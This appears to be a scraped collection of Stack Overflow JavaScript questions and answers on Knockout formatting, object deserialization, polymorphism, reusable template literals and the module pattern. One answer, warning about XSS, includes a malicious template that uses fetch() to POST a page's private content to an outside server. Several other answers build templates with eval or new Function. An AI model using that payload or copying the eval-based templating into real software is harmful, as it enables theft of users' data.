JavaScript - Prototype function vs. ViewModel function? - javascript

I am wondering whether there is a reason to prefer a prototype function / viewModel function over the other.
Say you wanted to represent an integer 1234 as a money value like 12.34€
What I did was, create a prototype function on the Number object:
Number.localeSeparator = 1.1.toLocaleString().substr(1, 1);
Number.prototype.centToEuro = function (separator_string) {
if (!separator_string) {
separator_string = Number.localeSeparator;
}
return (this / 100).toFixed(2).replace(".", separator_string) + "€";
}
var vm = {myMoney: ko.observable(1234)};
ko.applyBindings(vm);
This made the data binding fairly easy, because all I needed to do in the view was this:
<div data-bind="text: myMoney().centToEuro()"></div>
But instead of a prototype function, I could also create a viewModel function with almost the same code, like so:
var vm = {
myMoney: ko.observable(1234),
localeSeparator: 1.1.toLocaleString().substr(1, 1),
centToEuro: function (value_int, separator_string) {
if (!separator_string) {
separator_string = vm.localeSeparator;
}
return (value_int / 100).toFixed(2).replace(".", separator_string) + "€";
}
}
ko.applyBindings(vm);
Used in the view, it would look like this:
<div data-bind="text: centToEuro(myMoney())"></div>
As you can tell, the two HTML lines are almost exactly the same length and only vary in the approach. So the question is, which approach is to prefer?

Given that centToEuro has nothing to do with arbitrary numbers, but with the particular model for money you are dealing with here, and that you should not extend the builtin prototype objects, go for the viewmodel function.

Isn't the meaning of your question, where to put this kinda function?
Consider using extenders, for tasks like currency formatting and so on, where you set-up once and use everywhere. Just an example:
ko.extenders.currency = function (target, option) {
target.amount = function () {
var amt = ko.unwrap(target);
var localeSeparator = 1.1.toLocaleString().substr(1, 1);
switch(option) {
case "Eur":
amt = (amt / 100).toFixed(2).replace(".", localeSeparator) + "€";
break;
default:;
}
return amt;
};
return target;
};
View Model:
myMoney: ko.observable("1234").extend({currency: "Eur"})
Markup:
<div data-bind="text: myMoney.amount()"></div>

Related

How to serialize an object and cast it back to the same class as the original object

I'm new to JavaScript so bear with me if what I'm asking is not "how you do it in JavaScript". Advice on other approaches are welcome.
I have a class named State and I need need to serialize objects of that class using JSON.stringify(). The next step is to deserialize them back into an objects. However, my class uses setters and getters.
The problem that I'm facing is that after I deserialized those objects the setters and getters seem to be gone. I just cannot figure out how I can properly turn serialized objects back into objects of that class so that they behave exactly the same as objects that are created using new directly.
In another language I would cast those objects into State objects. I cannot find a JavaScript mechanism that seems to work that way.
The code looks as follows:
class State {
constructor(href) {
this.url = href;
}
set url(href) {
this._url = new URL(href);
this.demoParam = this._url.searchParams.get("demoParam");
}
get url() {
return this._url;
}
set demoParam(value) {
let param = parseInt(value, 10);
if(isNaN(param)) {
param = 2;
}
console.log("Setting 'demoParam' to value " + param);
this._demoParam = param;
}
get demoParam() {
return this._demoParam;
}
toJSON() {
let stateObject = {};
const prototypes = Object.getPrototypeOf(this);
for(const key of Object.getOwnPropertyNames(prototypes)) {
const descriptor = Object.getOwnPropertyDescriptor(prototypes, key);
if(descriptor && typeof descriptor.get === 'function') {
stateObject[key] = this[key];
}
}
return stateObject;
}
}
let originalState = new State(window.location.href);
let newState1 = JSON.parse(JSON.stringify(originalState));
newState1.demoParam = 12;
let newState2 = Object.create(State.prototype, Object.getOwnPropertyDescriptors(JSON.parse(JSON.stringify(originalState))));
newState2.demoParam = 13;
let newState3 = Object.assign(new State(window.location.href), JSON.parse(JSON.stringify(originalState)));
newState3.demoParam = 14;
let newState4 = Object.setPrototypeOf(JSON.parse(JSON.stringify(originalState)), State.prototype);
newState4.demoParam = 15;
I would expect that everytime I set the demoParam property of a newStateX object I'd see a console log message. However. I only see it twice, i.e. for every new State(window.location.href) statement.
I have used the answer of this question. However, it does not work as expected.
when you serialize an object you trigger the toString or the toJSON method of your class' instance and end up with just a "dumb" JSON representation of your enumerable attributes.
if you want to recreate an instance that behaves like it did prior to serialisation, you will need to set an extra key/value pair in your toJSON function like ___internalType: 'state' and then later use eg. a switch statement to recreate your specific class with the new MyClass(serializedData)and passing in your serialised instance. Within the constructor of your class, you set all the attributes you need and voilà, you have your "old" instance again
/edit: to clarify the reason why your console logs aren't showing up is because you are not recreating an instance of your class but just creating a new plain Object.
You can use Object.assign to copy plain object data into an "empty" new instance of the class along the lines of this code:
function cast(o) {
if (!o._cls) return o;
var _cls = eval(o._cls);
return Object.assign(new _cls(), o);
}
In JavaScript i personally like to avoid using classes for my data objects. TypeScript offers some better opportunities to solve this problem, one of these is TypedJSON:
https://github.com/JohnWeisz/TypedJSON

Javascript polymorphism without OOP classes

In JS or OOP language the polymorhpism is created by making different types.
For example:
class Field {...}
class DropdownField extends Field {
getValue() {
//implementation ....
}
}
Imagine I have library forms.js with some methods:
class Forms {
getFieldsValues() {
let values = [];
for (let f of this.fields) {
values.push(f.getValue());
}
return values;
}
}
This gets all field values. Notice the library doesnt care what field it is.
This way developer A created the library and developer B can make new fields: AutocompleterField.
He can add methods in AutocompleterField withouth changing the library code (Forms.js) .
If I use functional programming method in JS, how can I achieve this?
If I dont have methods in object i can use case statements but this violates the principle. Similar to this:
if (field.type == 'DropdownField')...
else if (field.type == 'Autocompleter')..
If developer B add new type he should change the library code.
So is there any good way to solve the issue in javascript without using object oriented programming.
I know Js isnt exactly OOP nor FP but anyway.
Thanks
JavaScript being a multi-purpose language, you can of course solve it in different ways. When switching to functional programming, the answer is really simple: Use functions! The problem with your example is this: It is so stripped down, you can do exactly the same it does with just 3 lines:
// getValue :: DOMNode -> String
const getValue = field => field.value;
// readForm :: Array DOMNode -> Array String
const readForm = formFields => formFields.map(getValue);
readForm(Array.from(document.querySelectorAll('input, textarea, select')));
// -> ['Value1', 'Value2', ... 'ValueN']
The critical thing is: How is Field::getValue() implemented, what does it return? Or more precisely: How does DropdownField::getValue() differ from AutocompleteField::getValue() and for example NumberField::getValue()? Do all of them just return the value? Do they return a pair of name and value? Do they even need to be different?
The question is therefor, do your Field classes and their inheriting classes differ because of the way their getValue() methods work or do they rather differ because of other functionality they have? For example, the "autocomplete" functionality of a textfield isn't (or shouldn't be) tied to the way the value is taken from it.
In case you really need to read the values differently, you can implement a function which takes a map/dictionary/object/POJO of {fieldtype: readerFunction} pairs:
/* Library code */
// getTextInputValue :: DOMNode -> String
const getTextInputValue = field => field.value;
// getDropdownValue :: DOMNode -> String
const getDropdownValue = field => field.options[field.selectedIndex].value;
// getTextareaValue :: DOMNode -> String
const getTextareaValue = field => field.textContent;
// readFieldsBy :: {String :: (a -> String)} -> DOMNode -> Array String
readFieldsBy = kv => form => Object.keys(kv).reduce((acc, k) => {
return acc.concat(Array.from(form.querySelectorAll(k)).map(kv[k]));
}, []);
/* Code the library consumer writes */
const readMyForm = readFieldsBy({
'input[type="text"]': getTextInputValue,
'select': getDropdownValue,
'textarea': getTextareaValue
});
readMyForm(document.querySelector('#myform'));
// -> ['Value1', 'Value2', ... 'ValueN']
Note: I intentionally didn't mention things like the IO monad here, because it would make stuff more complicated, but you might want to look it up.
In JS or OOP language the polymorhpism is created by making different types.
Yes. Or rather, by implementing the same type interface in different objects.
How can I use Javascript polymorphism without OOP classes
You seem to confuse classes with types here. You don't need JS class syntax to create objects at all.
You can just have
const autocompleteField = {
getValue() {
…
}
};
const dropdownField = {
getValue() {
…
}
};
and use the two in your Forms instance.
Depends on what you mean by "polymorphism". There's the so-called ad-hoc polymorphism which type classes in Haskell, Scala, or PureScript provide -- and this kind of dispatch is usually implemented by passing witness objects along as additional function arguments, which then will know how to perform the polymorphic functionality.
For example, the following PureScript code (from the docs), which provides a show function for some types:
class Show a where
show :: a -> String
instance showString :: Show String where
show s = s
instance showBoolean :: Show Boolean where
show true = "true"
show false = "false"
instance showArray :: (Show a) => Show (Array a) where
show xs = "[" <> joinWith ", " (map show xs) <> "]"
example = show [true, false]
It gets compiled to the following JS (which I shortened):
var Show = function (show) {
this.show = show;
};
var show = function (dict) {
return dict.show;
};
var showString = new Show(function (s) {
return s;
});
var showBoolean = new Show(function (v) {
if (v) {
return "true";
};
if (!v) {
return "false";
};
throw new Error("Failed pattern match at Main line 12, column 1 - line 12, column 37: " + [ v.constructor.name ]);
});
var showArray = function (dictShow) {
return new Show(function (xs) {
return "[" + (Data_String.joinWith(", ")(Data_Functor.map(Data_Functor.functorArray)(show(dictShow))(xs)) + "]");
});
};
var example = show(showArray(showBoolean))([ true, false ]);
There's absolutely no magic here, just some additional arguments. And at the "top", where you actually know concrete types, you have to pass in the matching concrete witness objects.
In your case, you would pass around something like a HasValue witness for different forms.
You could use a the factory pattern to ensure you follow the open close principle.
This principle says "Software entities (classes, modules, functions, etc.) should be open for extension, but closed for modification".
class FieldValueProviderFactory {
getFieldValue(field) {
return this.providers.find(p => p.type === field.type).provider(field);
}
registerProvider(type, provider) {
if(!this.providers) {
this.providers = [];
}
this.providers.push({type:type, provider:provider});
}
}
var provider = new FieldValueProviderFactory();
provider.registerProvider('DropdownField', (field) => [ 1, 2, 3 ]);
provider.registerProvider('Autocompleter', (field) => [ 3, 2, 1 ]);
class FieldCollection {
getFieldsValues() {
this.fields = [ { type:'DropdownField',value:'1' }, { type:'Autocompleter',value:'2' } ];
let values = [];
for (let field of this.fields) {
values.push(provider.getFieldValue(field));
}
return values;
}
}
Now when you want to register new field types you can register a provider for them in the factory and don't have to modify your field code.
new Field().getFieldsValues();

Can ES6 template literals be substituted at runtime (or reused)?

tl;dr: Is it possible to make a reusable template literal?
I've been trying to use template literals but I guess I just don't get it and now I'm getting frustrated. I mean, I think I get it, but "it" shouldn't be how it works, or how it should get. It should get differently.
All the examples I see (even tagged templates) require that the "substitutions" be done at declaration time and not run time, which seems utterly useless to me for a template. Maybe I'm crazy, but a "template" to me is a document that contains tokens which get substituted when you use it, not when you create it, otherwise it's just a document (i.e., a string). A template is stored with the tokens as tokens & those tokens are evaluated when you...evaluate it.
Everyone cites a horrible example similar to:
var a = 'asd';
return `Worthless ${a}!`
That's nice, but if I already know a, I would just return 'Worthless asd' or return 'Worthless '+a. What's the point? Seriously. Okay the point is laziness; fewer pluses, more readability. Great. But that's not a template! Not IMHO. And MHO is all that matters! The problem, IMHO, is that the template is evaluated when it's declared, so, if you do, IMHO:
var tpl = `My ${expletive} template`;
function go() { return tpl; }
go(); // SPACE-TIME ENDS!
Since expletive isn't declared, it outputs something like My undefined template. Super. Actually, in Chrome at least, I can't even declare the template; it throws an error because expletive is not defined. What I need is to be able to do the substitution after declaring the template:
var tpl = `My ${expletive} template`;
function go() { return tpl; }
var expletive = 'great';
go(); // My great template
However I don't see how this is possible, since these aren't really templates. Even when you say I should use tags, nope, they don't work:
> explete = function(a,b) { console.log(a); console.log(b); }
< function (a,b) { console.log(a); console.log(b); }
> var tpl = explete`My ${expletive} template`
< VM2323:2 Uncaught ReferenceError: expletive is not defined...
This all has led me to believe that template literals are horribly misnamed and should be called what they really are: heredocs. I guess the "literal" part should have tipped me off (as in, immutable)?
Am I missing something? Is there a (good) way to make a reusable template literal?
I give you, reusable template literals:
> function out(t) { console.log(eval(t)); }
var template = `\`This is
my \${expletive} reusable
template!\``;
out(template);
var expletive = 'curious';
out(template);
var expletive = 'AMAZING';
out(template);
< This is
my undefined reusable
template!
This is
my curious reusable
template!
This is
my AMAZING reusable
template!
And here is a naive "helper" function...
function t(t) { return '`'+t.replace('{','${')+'`'; }
var template = t(`This is
my {expletive} reusable
template!`);
...to make it "better".
I'm inclined to call them template guterals because of the area from which they produce twisty feelings.
To make these literals work like other template engines there needs to be an intermediary form.
The best way to do this is to use the Function constructor.
const templateString = "Hello ${this.name}!";
const templateVars = {
name: "world"
}
const fillTemplate = function(templateString, templateVars){
return new Function("return `"+templateString +"`;").call(templateVars);
}
console.log(fillTemplate(templateString, templateVars));
As with other template engines, you can get that string from other places like a file.
Some issues can appear using this method (for example, template tags would be harder to add). You also can't have inline JavaScript logic, because of the late interpolation. This can also be remedied with some thought.
You can put a template string in a function:
function reusable(a, b) {
return `a is ${a} and b is ${b}`;
}
You can do the same thing with a tagged template:
function reusable(strings) {
return function(... vals) {
return strings.map(function(s, i) {
return `${s}${vals[i] || ""}`;
}).join("");
};
}
var tagged = reusable`a is ${0} and b is ${1}`; // dummy "parameters"
console.log(tagged("hello", "world"));
// prints "a is hello b is world"
console.log(tagged("mars", "jupiter"));
// prints "a is mars b is jupiter"
The idea is to let the template parser split out the constant strings from the variable "slots", and then return a function that patches it all back together based on a new set of values each time.
Probably the cleanest way to do this is with arrow functions (because at this point, we're using ES6 already)
var reusable = () => `This ${object} was created by ${creator}`;
var object = "template string", creator = "a function";
console.log (reusable()); // "This template string was created by a function"
object = "example", creator = "me";
console.log (reusable()); // "This example was created by me"
...And for tagged template literals:
reusable = () => myTag`The ${noun} go ${verb} and `;
var noun = "wheels on the bus", verb = "round";
var myTag = function (strings, noun, verb) {
return strings[0] + noun + strings[1] + verb + strings[2] + verb;
};
console.log (reusable()); // "The wheels on the bus go round and round"
noun = "racecars", verb = "fast";
myTag = function (strings, noun, verb) {
return strings[0] + noun + strings[1] + verb;
};
console.log (reusable()); // "The racecars go fast"
This also avoids the use of eval() or Function() which can cause problems with compilers and cause a lot of slowdown.
Yes you can do it by parsing your string with template as JS by Function (or eval) - but this is not recommended and allow XSS attack
// unsafe string-template function
const fillTemplate = function(templateString, templateVars){
return new Function("return `"+templateString +"`;").call(templateVars);
}
function parseString() {
// Example malicious string which will 'hack' fillTemplate function
var evilTemplate = "`+fetch('https://server.test-cors.org/server?id=9588983&enable=true&status=200&credentials=false',{method: 'POST', body: JSON.stringify({ info: document.querySelector('#mydiv').innerText }) }) + alert('stolen')||''`";
var templateData = {Id:1234, User:22};
var result = fillTemplate(evilTemplate, templateData);
console.log(result);
alert(`Look on Chrome console> networks and look for POST server?id... request with stolen data (in section "Request Payload" at the bottom)`);
}
#mydiv { background: red; margin: 20px}
.btn { margin: 20px; padding: 20px; }
<pre>
CASE: system allow users to use 'templates' and use
fillTemplate function to put variables into that templates
Then backend save templates in DB and show them to other users...
Some bad user/hacker can then prepare malicious template
with JS code... and when other logged users "see" that malicious
template (e.g. by "Click me!" in this example),
then it can read some information from their current
page with private content and send it to external server.
Or in worst case, that malicious template can send some
authorized "action" request to the backend...
(like e.g. action which delete some user content or change his name etc.).
In case when logged user was Admin then
action can be even more devastating (like delete user etc.)
</pre>
<div id='mydiv'>
Private content of some user
</div>
<div id="msg"></div>
<button class="btn" onclick="parseString()">Click me! :)</button>
Instead you can safely insert object obj fields to template str in dynamic way as follows
let inject = (str, obj) => str.replace(/\${(.*?)}/g, (x,g)=> obj[g]);
let inject = (str, obj) => str.replace(/\${(.*?)}/g, (x,g)=> obj[g]);
// --- test ---
// parameters in object
let t1 = 'My name is ${name}, I am ${age}. My brother name is also ${name}.';
let r1 = inject(t1, {name: 'JOHN',age: 23} );
console.log("OBJECT:", r1);
// parameters in array
let t2 = "Values ${0} are in ${2} array with ${1} values of ${0}."
let r2 = inject(t2, ['A,B,C', 666, 'BIG'] );
console.log("ARRAY :", r2);
Simplifying the answer provided by #metamorphasi;
const fillTemplate = function(templateString, templateVars){
var func = new Function(...Object.keys(templateVars), "return `"+templateString +"`;")
return func(...Object.values(templateVars));
}
// Sample
var hosting = "overview/id/d:${Id}";
var domain = {Id:1234, User:22};
var result = fillTemplate(hosting, domain);
console.log(result);
In 2021 came the most straightforward solution yet.
const tl = $ =>`This ${$.val}`;
tl({val: 'code'});
It is almost the same as just writing and reusing a template literal (what the OP was wanting).
You can tweak things from here...
2019 answer:
Note: The library originally expected users to sanitise strings to avoid XSS. Version 2 of the library no longer requires user strings to be sanitised (which web developers should do anyway) as it avoids eval completely.
The es6-dynamic-template module on npm does this.
const fillTemplate = require('es6-dynamic-template');
Unlike the current answers:
It uses ES6 template strings, not a similar format. Update version 2 uses a similar format, rather than ES6 template strings, to prevent users from using unsanitised input Strings.
It doesn't need this in the template string
You can specify the template string and variables in a single function
It's a maintained, updatable module, rather than copypasta from StackOverflow
Usage is simple. Use single quotes as the template string will be resolved later!
const greeting = fillTemplate('Hi ${firstName}', {firstName: 'Joe'});
Am I missing something? Is there a [good] way to make a reusable template literal?
Maybe I am missing something, because my solution to this issue seems so obvious to me that I am very surprised nobody wrote that already in such an old question.
I have an almost one-liner for it:
function defer([first, ...rest]) {
return (...vals) => rest.reduce((acc, str, i) => acc + vals[i] + str, first);
}
That's all. When I want to reuse a template and defer the resolution of the substitutions, I just do:
function defer([first, ...rest]) {
return (...vals) => rest.reduce((acc, str, i) => acc + vals[i] + str, first);
}
t = defer`My template is: ${null} and ${null}`;
a = t('simple', 'reusable');
// 'My template is: simple and reusable'
b = t('obvious', 'late to the party');
// 'My template is: obvious and late to the party'
c = t(null);
// 'My template is: null and undefined'
d = defer`Choose: ${'ignore'} / ${undefined}`(true, false);
// 'Choose: true / false'
console.log(a + "\n" + b + "\n" + c + "\n" + d + "\n");
Applying this tag returns back a 'function' (instead of a 'string') that ignores any parameters passed to the literal. Then it can be called with new parameters later. If a parameter has no corresponding replace, it becomes 'undefined'.
Extended answer
This simple code is functional, but if you need more elaborated behavior, that same logic can be applied and there are endless possibilities. You could:
Make use of original parameters:
You could store the original values passed to the literal in the construction and use them in creative ways when applying the template. They could become flags, type validators, functions etc. This is an example that uses them as default values:
function deferWithDefaults([first, ...rest], ...defaults) {
return (...values) => rest.reduce((acc, curr, i) => {
return acc + (i < values.length ? values[i] : defaults[i]) + curr;
}, first);
}
t = deferWithDefaults`My template is: ${'extendable'} and ${'versatile'}`;
a = t('awesome');
// 'My template is: awesome and versatile'
console.log(a);
Write a template factory:
Do it by wrapping this logic in a function that expects, as argument, a custom function that can be applied in the reduction (when joining the pieces of the template literal) and returns a new template with custom behavior.
Then you could , e.g., write templates that automatically escape or sanitize parameters when writing embedded html, css, sql, bash...
With this naïve (I repeat, naïve!) sql template we could build queries like this:
const createTemplate = fn => function (strings, ...defaults) {
const [first, ...rest] = strings;
return (...values) => rest.reduce((acc, curr, i) => {
return acc + fn(values[i], defaults[i]) + curr;
}, first);
};
function sqlSanitize(token, tag) {
// this is a gross simplification, don't use in production.
const quoteName = name => (!/^[a-z_][a-z0-9_$]*$/
.test(name) ? `"${name.replace(/"/g, '""')}"` : name);
const quoteValue = value => (typeof value == 'string' ?
`'${value.replace(/'/g, "''")}'` : value);
switch (tag) {
case 'table':
return quoteName(token);
case 'columns':
return token.map(quoteName);
case 'row':
return token.map(quoteValue);
default:
return token;
}
}
const sql = createTemplate(sqlSanitize);
q = sql`INSERT INTO ${'table'} (${'columns'})
... VALUES (${'row'});`
a = q('user', ['id', 'user name', 'is"Staff"?'], [1, "O'neil", true])
// `INSERT INTO user (id,"user name","is""Staff""?")
// VALUES (1,'O''neil',true);`
console.log(a);
Accept named parameters for substitution: A not-so-hard exercise, based on what was already given. There is an implementation in this other answer.
Make the return object behave like a 'string': Well, this is controversial, but could lead to interesting results. Shown in this other answer.
Resolve parameters within global namespace at call site:
I give you, reusable template literals:
Well, this is what OP showed is his addendum, using the command evil, I mean, eval. This could be done without eval, just by searching the passed variable name into the global (or window) object. I will not show how to do it because I do not like it. Closures are the right choice.
If you don't want to use ordered parameters or context/namespaces to reference the variables in your template, e.g. ${0}, ${this.something}, or ${data.something}, you can have a template function that takes care of the scoping for you.
Example of how you could call such a template:
const tempGreet = Template(() => `
<span>Hello, ${name}!</span>
`);
tempGreet({name: 'Brian'}); // returns "<span>Hello, Brian!</span>"
The Template function:
function Template(cb) {
return function(data) {
const dataKeys = [];
const dataVals = [];
for (let key in data) {
dataKeys.push(key);
dataVals.push(data[key]);
}
let func = new Function(...dataKeys, 'return (' + cb + ')();');
return func(...dataVals);
}
}
The quirk in this case is you just have to pass a function (in the example I used an arrow function) that returns the ES6 template literal. I think it's a minor tradeoff to get the kind of reuseable interpolation we are after.
Here it is on GitHub: https://github.com/Adelphos/ES6-Reuseable-Template
The short answer is just use _.template in lodash
// Use the ES template literal delimiter as an "interpolate" delimiter.
// Disable support by replacing the "interpolate" delimiter.
var compiled = _.template('hello ${ user }!');
compiled({ 'user': 'pebbles' });
// => 'hello pebbles!'
Thanks to #Quentin-Engles with the excellent idea and the top answer, that got me started!
But I stored the new Function directly in a variable instead of returning the Function each time, so that both the function and the template literal are only built once, instead of each time you call it, like it is in Quentin's answer.
const templateString = "Hello ${this.name}.";
var myData = {
name: "world"
};
const buildItem = new Function("return `" + templateString + "`;");
console.log(buildItem.call(myData)); // Hello world.
myData.name = "Joe";
console.log(buildItem.call(myData)); // Hello Joe.
If you are looking for something rather simple (just fixed variable fields, no computations, conditionals…) but that does work also client-side on browsers without template string support like IE 8,9,10,11…
here we go:
fillTemplate = function (templateString, templateVars) {
var parsed = templateString;
Object.keys(templateVars).forEach(
(key) => {
const value = templateVars[key]
parsed = parsed.replace('${'+key+'}',value)
}
)
return parsed
}
In general I'm against using the evil eval(), but in this case it makes sense:
var template = "`${a}.${b}`";
var a = 1, b = 2;
var populated = eval(template);
console.log(populated); // shows 1.2
Then if you change the values and call eval() again you get the new result:
a = 3; b = 4;
populated = eval(template);
console.log(populated); // shows 3.4
If you want it in a function, then it can be written like so:
function populate(a, b){
return `${a}.${b}`;
}
You could just use a one-liner tagged template, like:
const SERVICE_ADDRESS = (s,tenant) => `http://localhost/${tenant}/api/v0.1/service`;
and in client code your consume it like:
const myTenant = 'me';
fetch(SERVICE_ADDRESS`${myTenant}`);
This is my best attempt:
var s = (item, price) => {return `item: ${item}, price: $${price}`}
s('pants', 10) // 'item: pants, price: $10'
s('shirts', 15) // 'item: shirts, price: $15'
To generalify:
var s = (<variable names you want>) => {return `<template with those variables>`}
If you are not running E6, you could also do:
var s = function(<variable names you want>){return `<template with those variables>`}
This seems to be a bit more concise than the previous answers.
https://repl.it/#abalter/reusable-JS-template-literal
I was annoyed at the extra redundancy needed of typing this. every time, so I also added regex to expand variables like .a to this.a.
Solution:
const interp = template => _thisObj =>
function() {
return template.replace(/\${([^}]*)}/g, (_, k) =>
eval(
k.replace(/([.a-zA-Z0-9$_]*)([a-zA-Z0-9$_]+)/, (r, ...args) =>
args[0].charAt(0) == '.' ? 'this' + args[0] + args[1] : r
)
)
);
}.call(_thisObj);
Use as such:
console.log(interp('Hello ${.a}${.b}')({ a: 'World', b: '!' }));
// outputs: Hello World!
const fillTemplate = (template, values) => {
template = template.replace(/(?<=\${)\w+(?=})/g, v=>"this."+v);
return Function.apply(this, ["", "return `"+template+"`;"]).call(values);
};
console.log(fillTemplate("The man ${man} is brother of ${brother}", {man: "John", brother:"Peter"}));
//The man John is brother of Peter
UPDATED: The following answer is limited to single variable names, so, templates like: 'Result ${a+b}' are not valid for this case. However you can always play with the template values:
format("This is a test: ${a_b}", {a_b: a+b});
ORIGINAL ANSWER:
Based in the previous answers but creating a more "friendly" utility function:
var format = (template, params) => {
let tpl = template.replace(/\${(?!this\.)/g, "${this.");
let tpl_func = new Function(`return \`${tpl}\``);
return tpl_func.call(params);
}
You can invoque it just like:
format("This is a test: ${hola}, second param: ${hello}", {hola: 'Hola', hello: 'Hi'});
And the resulting string should be:
'This is a test: Hola, second param: Hi'
I just publish one npm package that can simply do this job.
Deeply inspired by this answer.
const Template = require('dynamic-template-string');
var tpl = new Template('hello ${name}');
tpl.fill({name: 'world'}); // ==> 'hello world';
tpl.fill({name: 'china'}); // ==> 'hello china';
Its implement is deadly simple. Wish you will like it.
module.exports = class Template {
constructor(str) {
this._func = new Function(`with(this) { return \`${str}\`; }`);
}
fill(data) {
return this._func.call(data);
}
}
you can use inline arrow function like this,
definition:
const template = (substitute: string) => `[^.?!]*(?<=[.?\s!])${substitute}(?=[\s.?!])[^.?!]*[.?!]`;
usage:
console.log(template('my replaced string'));
Runtime template string
var templateString = (template, values) => {
let output = template;
Object.keys(values)
.forEach(key => {
output = output.replace(new RegExp('\\$' + `{${key}}`, 'g'), values[key]);
});
return output;
};
Test
console.debug(templateString('hello ${word} world', {word: 'wonderful'}));
You can use the following function to resolve dynamically templates, supplying new data.
This use a non really common feature of javascript called Tagged Template Literal
function template(...args) {
return (values) =>
args[0].reduce(
(acum, current, index) =>
acum.concat(
current, values[index] === undefined ? '' : values[index]
),
''
)
}
const person = 'Lydia';
const age = 21;
template `${person} is ${age} years old... yes He is ${age}`(['jose', 35, 38]); //?
This gave me a major headache when I came across it. Literal templates in javascript are very cool BUT they **** as reusable or with dynamic values. But the solution is amazingly simple. So simple in fact I had to kick myself several times after spending a few days coding parsers and formatters and other solutions that ALL dead ended. In the end after I gave up on the idea and was going to use mustache or other template module, it hit me.....
const DT = function dynamicTemplate(source) { return (new Function(`return \`${source}\``))() }
//let a = 1, b = 2;
//DT("${a} + ${b} equals ${a + b}")
// prints '1 + 2 equals 3'
And that is all she wrote.
If you are using Angular, you can use #ngx-translate/core package as follows:
import { TranslateDefaultParser } from '#ngx-translate/core';
export class SomeClass {
public parser = new TranslateDefaultParser();
test() {
// outputs "This is my great reusable template!"
this.parser.interpolate('This is my {{expletive}} reusable template!', { expletive: 'great' });
}
...
}
I solved this interpolation template using:
function flatKeys(inputObject: any): {[key: string]: any} {
const response: {[key: string]: any} = {};
function iterative(currentObject: any, parentKeys: string[]=[]) {
const llaves = Object.keys(currentObject);
for (let i=0; i<llaves.length; i++) {
const llave: string = llaves[i];
const valor = currentObject[llave];
const llavesNext = parentKeys.concat(llave);
if (typeof valor == 'object') {
iterative(valor, llavesNext);
} else {
response[llavesNext.join('.')] = valor;
}
}
}
iterative(inputObject);
return response;
}
function interpolate(template: string, values: any, defaultValue='') {
const flatedValues = flatKeys(values);
const interpolated = template.replace(/\${(.*?)}/g, function (x,g) {
const value = flatedValues[g];
if ([undefined, null].indexOf(value) >= 0) {
return defaultValue;
}
return value;
});
return interpolated;
}
const template = "La ${animal.name} tomaba ${alimento.name} con el ${amigos.0.names}";
const values = {
animal: {
name:"Iguana"
},
alimento: {
name: "café"
},
amigos: [
{ name: "perro" },
true
]
};
const interpolated = interpolate(template, values);
console.log(interpolated);
All props to other answers here for teaching me about a javascript feature that I never knew about -- I knew about string template literals, but not that you could call functions with them without parens!
As a thanks here I'm sharing my typescript adaptation which makes it really easy to make a reusable template with named variables that typescript knows about -- it allows any type because they will get converted to string automagically, but you could adjust that on your own if you dislike the strategy.
/**
* Use this with a template literal in order to create reusable string template;
* use interpolation to add strings for each variable you want to use in the template.
*
* e.g.:
*
* const reUsableStringTemplate = stringTpl`${'name'} and ${'otherName'} are going to ${'place'}`;
*
* You can then call it with:
*
* const filled = reUsableStringTemplate({name: 'John', otherName: 'Jane', place: 'Paris'});
* // John and Jane are going to Paris
*
* reUsableStringTemplate will have types and know the names of your variables
*
* #returns String template function with full typescript types
*/
export function stringTpl<keys extends string>(parts: TemplateStringsArray, ...keys: keys[]) {
return (opts: Record<keys, any>) => {
let outStr = '';
for (let i = 0; i < parts.length; ++i) {
outStr += parts[i];
const key = keys.shift();
if (key && key in opts) {
outStr += opts[key];
} else {
outStr += key ?? '';
}
}
return outStr;
};
}

How much memory is allocated when using the Module Pattern?

I want to refactor Snippet 1 to Snippet 2. I don't think performance is quite an issue here considering the size, but I wanted to understand what was going on as far as memory use goes regarding this refactor to the module pattern.
The module pattern ensures that I only pull in this data from the DOM once which is what I want and it also forms a mini-registry pattern in that the data is private.
Both snippets have been tested and basically work.
Snippet 1 // Replace SUniverisals w/ SU
var SUniversals = function () {
// Pull from Server
this.universals.path = document.getElementById('universals').getAttribute('data-path');
this.universals.load = document.getElementById('universals').getAttribute('data-load');
// Set Manually
this.universals.debug = false;
};
SUniversals.prototype.universals = {};
SUniversals.prototype.get = function( key ) {
return this.universals[ key ];
};
SUniversals.prototype.set = function( key, value ) {
this.universals[ key ] = value;
};
Snippet 2
var SU = ( function ()
{
// private SU.get('load');
var universals = {};
universals.path = document.getElementById('universals').getAttribute('data-path');
universals.load = document.getElementById('universals').getAttribute('data-load');
universals.debug = false;
// pubulic
var publik = {};
publik.get = function( key )
{
return universals[ key ];
};
publik.set = function( key, value )
{
universals[ key ] = value;
};
return publik;
}());
There are few things which are different. Snippet 2 is essentially creating a singleton. Snippet 1 can be looked at like a 'class'. You can create multiple instances/objects of 'SUniversals' and do different things with them.
Actually, snippet 1 is more efficient in terms of memory. By adding to the object's prototype, you essentially will have only 1 copy of each function irrespective of the number of objects you create. The module pattern will create separate entities.
Not enough to worry about ;-)
Seriously, the only thing you need to worry about with the module pattern is creating memory leaks; by itself the pattern uses basically nothing.

Javascript OOP / Classes - multiple instances share same data

I am writing some oop javascript code. I have a couple of instances of a class and have put different data into each. Unfortunately, as you will see with the example below, they appear to share the same data.
Is it possible to get two separate instances of my class? How would it be done.
Index.html
<html>
<head>
<meta http-equiv="Content-type" content="text/html; charset=utf-8">
<script type="text/javascript" src="test.js"></script>
<script type="text/javascript">
debugger;
// Do this because a page resart seems to keep old data
function SetGlobals()
{
var ui;
var el;
// Arr00
ui = document.getElementById("Arr00");
el = arr0.arrayGet(0);
ui.innerHTML = el.m_String;
// Arr01
ui = document.getElementById("Arr01");
el = arr0.arrayGet(1);
ui.innerHTML = el.m_String;
// Arr10
ui = document.getElementById("Arr10");
el = arr1.arrayGet(0);
ui.innerHTML = el.m_String;
// Arr11
ui = document.getElementById("Arr11");
el = arr1.arrayGet(1);
ui.innerHTML = el.m_String;
}
function MyOnLoad()
{
SetGlobals();
}
</script>
</head>
<body onload="MyOnLoad()" style="width:100%; height: 100%; padding: 0 0 0 0; margin: 0 0 0 0; overflow: hidden; background:#000000">
<div id="divScreen" style="display: block; width:100%; height="100%">
<div id="divMenu" style='float: left; background:#00FF00; border-color: #000000; border-width: 1px;'>
<table>
<tr>
<td>
Array 0/String 0: <label id="Arr00"></label>
</td>
</tr>
<tr>
<td>
Array 0/String 1: <label id="Arr01"></label>
</td>
</tr>
<tr>
<td>
Array 1/String 0: <label id="Arr10"></label>
</td>
</tr>
<tr>
<td>
Array 1/String 1: <label id="Arr11"></label>
</td>
</tr>
</table>
</div>
